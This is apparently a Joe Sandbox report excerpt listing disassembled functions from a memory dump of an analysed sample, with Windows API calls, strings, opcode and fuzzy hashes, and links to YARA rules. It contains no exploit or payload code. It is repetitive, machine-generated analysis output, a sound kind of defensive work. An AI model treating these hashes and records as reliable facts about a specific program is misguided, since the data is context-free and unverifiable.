Instruction Fuzzy Hash: 9AF07F7200015ABBCF125F90ED05EDE3F66EF58361F058114FA1565130CB32CA71ABA5

Uniqueness

Uniqueness Score: -1.00%

Function 00CBF43D Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CBF444

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 405ea1359537baf092db15615eadcb87bc7b7cf2f48284166944d7ee18671b66
Instruction ID: b34fbd1be4e363eb0f681c38382f58435a60836ff5fb64a79d54c521a57a8345
Opcode Fuzzy Hash: 405ea1359537baf092db15615eadcb87bc7b7cf2f48284166944d7ee18671b66
Instruction Fuzzy Hash: 56E09A76C0020E9ADB00DFD4C456BEFB7BCEB04304F50442AA205E6241EB7457459BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00CA5D68 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CA5D0F

Part of subcall function 00CA680C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CA687F
Part of subcall function 00CA680C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CA6890

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b85e9c39c233837d4889226eed4f1da423f84e700b66a8355da4f25c5b167243
Instruction ID: 74bdb73e94abbe8497afc0087f926769e28e7e9ab5d7db41c84e90c1222235b4
Opcode Fuzzy Hash: b85e9c39c233837d4889226eed4f1da423f84e700b66a8355da4f25c5b167243
Instruction Fuzzy Hash: 78B012A5298142AC354452096D06CB7034CC4C2F15331853AB102C4290D4800C446131

Uniqueness

Uniqueness Score: -1.00%

Function 00C34B70 Relevance: 1.3, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00C345F3,00000000), ref: 00C34B70

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 03b493268fd9ef9de3579982b0dedd81330224c3ce140e42589bd2aa1c8d7a8c
Instruction ID: 2a1abe0aa1fca1be8c27a788a90f63570d3cceaf330eed973f7f5d18e79d3130
Opcode Fuzzy Hash: 03b493268fd9ef9de3579982b0dedd81330224c3ce140e42589bd2aa1c8d7a8c
Instruction Fuzzy Hash: C12102766202099BD725AF18E802BEA7798EB54320F004266F914C7390D775E9A1CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 00C506F0 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,7E4AB622,00000000,?,00000000,00D1A993,000000FF,?,00C32ABC,?,00000000,00000000,?,0000000D,0000000E), ref: 00C50729

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a4619dcfc9e3e4c1b76585bfd1355153e99f07880685227293b6dd369523a30a
Instruction ID: 696289cac8704ed469e88cc7f8ce6d2184040d2c3851334aca1445d3de94918c
Opcode Fuzzy Hash: a4619dcfc9e3e4c1b76585bfd1355153e99f07880685227293b6dd369523a30a
Instruction Fuzzy Hash: 8C115A71804A05EFD720CF68D944B5AB7F8EB09330F20876AE835D76E0E775AA048F90

Uniqueness

Uniqueness Score: -1.00%

Function 00CC2CD2 Relevance: 1.3, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CC1737: HeapAlloc.KERNEL32(00000000,00CC9290,?,?,00CC9290,00000220,?,?,?), ref: 00CC1769

HeapReAlloc.KERNEL32(00000000,00000000,?,00CBF4D5,00000000,?,00CB303C,00000000,00CBF4D5,?,?,?,?,00CBF2CF,?,?), ref: 00CC2D2F

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a8d584cbb22623a0e9d728a6fa3ea451764262038f6ca23b1a44e4daa2964657
Instruction ID: 8358dce7144bea064280097ee40b4cfb2aa817db798979230716d1fe74d0592f
Opcode Fuzzy Hash: a8d584cbb22623a0e9d728a6fa3ea451764262038f6ca23b1a44e4daa2964657
Instruction Fuzzy Hash: C2F0C231504215AADB212A2ADC00F6E77189FE2771B24411DFC269A1A0DF20DD01E1A4

Uniqueness

Uniqueness Score: -1.00%

Function 00CC1737 Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00CC9290,?,?,00CC9290,00000220,?,?,?), ref: 00CC1769

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 9d38721f95e67ad300530ceb35c7cf6fa07aa73b811e7d92944a5e4ae76d58cb
Instruction ID: 85874d8c88b892374d80cc8fa674b0f9888639afa30e690e5891ea110a63a677
Opcode Fuzzy Hash: 9d38721f95e67ad300530ceb35c7cf6fa07aa73b811e7d92944a5e4ae76d58cb
Instruction Fuzzy Hash: 2AE06D31900625EAEA22276BDD09F9A3649AB437A1F190128FC2596592EB24DE0093E5

Uniqueness

Uniqueness Score: -1.00%

Function 00CC2F72 Relevance: 1.3, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ba90a4dc517057b897c6671bef51e696c0c349f87318fa4bb56bd3f27addf5d
Instruction ID: 408265322145100ade4aa503547597d088d7327ff2a653353f09935e41821c2c
Opcode Fuzzy Hash: 6ba90a4dc517057b897c6671bef51e696c0c349f87318fa4bb56bd3f27addf5d
Instruction Fuzzy Hash: 55E0123194173AA7DB312AA6CD05F5E7B7CAF51B61F09411CFC24AB254CA20ED00D6F1

Uniqueness

Uniqueness Score: -1.00%

Function 00B18720 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00B1872B

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b8dbe51e7abbbd1fa6af783a1293f48e5f8797cf2e118fc8e095a4bc665e42e1
Instruction ID: f2832831bc0285562563d28d4646d576c608366b25ff4a42835fc2f1aff29740
Opcode Fuzzy Hash: b8dbe51e7abbbd1fa6af783a1293f48e5f8797cf2e118fc8e095a4bc665e42e1
Instruction Fuzzy Hash: 08C02B3030131087C7304F18FA0878333DCAF14700F01444DB809C3340CB70DC408664

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00CCB584 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00CC1356: GetLastError.KERNEL32(?,?,00CB2EEE,?,?,?,?,00000003,00CAAE5C,?,?,00B46D6D,00C14950,?,00000008), ref: 00CC135A
Part of subcall function 00CC1356: SetLastError.KERNEL32(00000000), ref: 00CC13FC

GetACP.KERNEL32(?,?,?,?,?,?,00CBFF31,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00CCB645
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00CBFF31,?,?,?,00000055,?,-00000050,?,?), ref: 00CCB670
_wcschr.LIBVCRUNTIME ref: 00CCB704
_wcschr.LIBVCRUNTIME ref: 00CCB712
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00CCB7D3

Strings

utf8, xrefs: 00CCB742

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: fb57289e0b4bf885df75c5d5560e920b6baeba7f3a4550ddcfa0c1e77619343d
Instruction ID: b58439881d2d212616b6f08cfb43d05cbc547faf5e61e579fa90a8d3e368d20d
Opcode Fuzzy Hash: fb57289e0b4bf885df75c5d5560e920b6baeba7f3a4550ddcfa0c1e77619343d
Instruction Fuzzy Hash: D371E4B1A00706AADB28ABB5CC87FBA73ACEF45704F14402DF915D7191EB70DE4197A1

Uniqueness

Uniqueness Score: -1.00%

Function 00C15800 Relevance: 9.3, APIs: 6, Instructions: 321fileCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00C15858

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

FindFirstFileW.KERNEL32(?,00000000), ref: 00C15958
FindFirstFileW.KERNEL32(?,00000000,0000002A,?,00000000), ref: 00C159F5
FindClose.KERNEL32(00000000,?,00000000), ref: 00C15A1B
FindClose.KERNEL32(00000000,?,00000000), ref: 00C15A65
_wcsrchr.LIBVCRUNTIME ref: 00C15AE9

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Find$CloseFileFirstInit_thread_footer_wcsrchr$HeapProcess
String ID:
API String ID: 2593539128-0
Opcode ID: dfd18e06fee246a9de4c4e8b695119c32e310dfea97664a49c025f46d670cb0e
Instruction ID: 3246900db999280c92645dfa682d80bd993c84fe2648c5aae3a8863b020804c4
Opcode Fuzzy Hash: dfd18e06fee246a9de4c4e8b695119c32e310dfea97664a49c025f46d670cb0e
Instruction Fuzzy Hash: 27A1DF71A40609DFDB10DF68CC45BEEB7F4FF86324F10866AE825D7280E7B59A449B90

Uniqueness

Uniqueness Score: -1.00%

Function 00C54630 Relevance: 9.2, APIs: 6, Instructions: 203fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00000000,-00000010,?,7E4AB622,?,00000000,00000000), ref: 00C54701
FindNextFileW.KERNEL32(?,00000000), ref: 00C5471C

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: 304a9dda241998f90dee41312602cb485de9073f07dff4978c1b61af9fd11b51
Instruction ID: 365fba275a09a01922699170c30187f2ba843f96cf26540c6f9b52886c0b3c02
Opcode Fuzzy Hash: 304a9dda241998f90dee41312602cb485de9073f07dff4978c1b61af9fd11b51
Instruction Fuzzy Hash: C5719D75901689DFDB10DFA8C948BDEBBB8FF44315F148269E815E7291DB309E48CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CA8E85 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,00CA8DA1,00000000,?,00CA8F39,00000000,?,?,00B25514,?), ref: 00CA8E87
GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000,?,?,00B25514,?), ref: 00CA8EAE
HeapAlloc.KERNEL32(00000000,?,?,00B25514,?), ref: 00CA8EB5
InitializeSListHead.KERNEL32(00000000,?,?,00B25514,?), ref: 00CA8EC2
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00B25514,?), ref: 00CA8ED7
HeapFree.KERNEL32(00000000,?,?,00B25514,?), ref: 00CA8EDE

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: 0b9eba8aae544eb61f156bcd57f9070a8b7f296210da2e8efa96a238587096b1
Instruction ID: 0c8e42be4088b9c7adcbc166d0b7361437f564de9795c67e1cc795c4cd733435
Opcode Fuzzy Hash: 0b9eba8aae544eb61f156bcd57f9070a8b7f296210da2e8efa96a238587096b1
Instruction Fuzzy Hash: 6DF04F36611702DBD7709FA8AD08B1A76F8BFA9B1AF140429FA51D3350DF70C8028A71

Uniqueness

Uniqueness Score: -1.00%

Function 00BF6F50 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00000000), ref: 00BF7221

Strings

NumberValidationTipMsg, xrefs: 00BF708B
NumberValidationTipTitle, xrefs: 00BF6FC4
Segoe UI, xrefs: 00BF71F8

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID:
String ID: NumberValidationTipMsg$NumberValidationTipTitle$Segoe UI
API String ID: 0-2319862951
Opcode ID: 5dc7623d93df0cd2e55b9eac208dad77e96860fa7bce42579d5e6a122fea235d
Instruction ID: bd32614797ab2e33235c808fdd7c5ca54689157fcd977884ec515d6e8a1db4ae
Opcode Fuzzy Hash: 5dc7623d93df0cd2e55b9eac208dad77e96860fa7bce42579d5e6a122fea235d
Instruction Fuzzy Hash: 2AC19C71A00709EFEB14CF64CC55BEAB7F1EF49300F008299E556A72D1DB746A4ACBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CC188A Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00CC1917

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b986c5e0cb5b45c21f4c06af125ebc57dadd374eea57dc641108e9d4ce7859bb
Instruction ID: 027bf41189e12c3bf638cd363afbc60667dec6552bf82ccce0e438f64ae0ecb7
Opcode Fuzzy Hash: b986c5e0cb5b45c21f4c06af125ebc57dadd374eea57dc641108e9d4ce7859bb
Instruction Fuzzy Hash: D7B137729052459FDB15CF2AC8A1FEEBBE5EF56310F18816EEC14AB243D2349E41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00BAE810 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,00000017,7E4AB622,?,?,?,?,?,?,00000000,Function_001CC38D,000000FF), ref: 00BAE859
LoadResource.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,Function_001CC38D,000000FF), ref: 00BAE868
LockResource.KERNEL32(00000000,?,?,?,?,?,?,00000000,Function_001CC38D,000000FF), ref: 00BAE873
SizeofResource.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,Function_001CC38D,000000FF), ref: 00BAE884

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 35c739a0ade0ef8a9ae4c192117590d1c737bedefd8af1a74e915c7d5102f33d
Instruction ID: 4e08b9ca3425fa1c825e7618c6aba36f60692b3b1d7692df5d1d98e2fd3ac4b6
Opcode Fuzzy Hash: 35c739a0ade0ef8a9ae4c192117590d1c737bedefd8af1a74e915c7d5102f33d
Instruction Fuzzy Hash: 0631BF72D19715ABD7209F74DD41BAEB7F8EF15710F004269E825E7280EB34DA04C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00CA6652 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00CA6597,0000001C,00CA678C,00000000,?,?,?,?,?,?,?,00CA6597,00000004,00DB9914,00CA681C), ref: 00CA6663
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00CA6597,00000004,00DB9914,00CA681C), ref: 00CA667E

Strings

D, xrefs: 00CA6672

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 826408d52382506369a1fc9f5a1784d7caaab993135209f1ff2d47c57d425cdb
Instruction ID: 3fd593c2ee528b26bcd373e76a7e51a2b03a3ff39ff87081f3b532302d918ae2
Opcode Fuzzy Hash: 826408d52382506369a1fc9f5a1784d7caaab993135209f1ff2d47c57d425cdb
Instruction Fuzzy Hash: 8F01F772640209ABDB14DE29CC05BDE7BA9AFD5328F0CC221FD69DB240DA34DD128690

Uniqueness

Uniqueness Score: -1.00%

Function 00C19370 Relevance: 3.1, APIs: 2, Instructions: 105windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,7E4AB622,?,00000000), ref: 00C193BB
GetLastError.KERNEL32(?,00000000), ref: 00C193C5

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
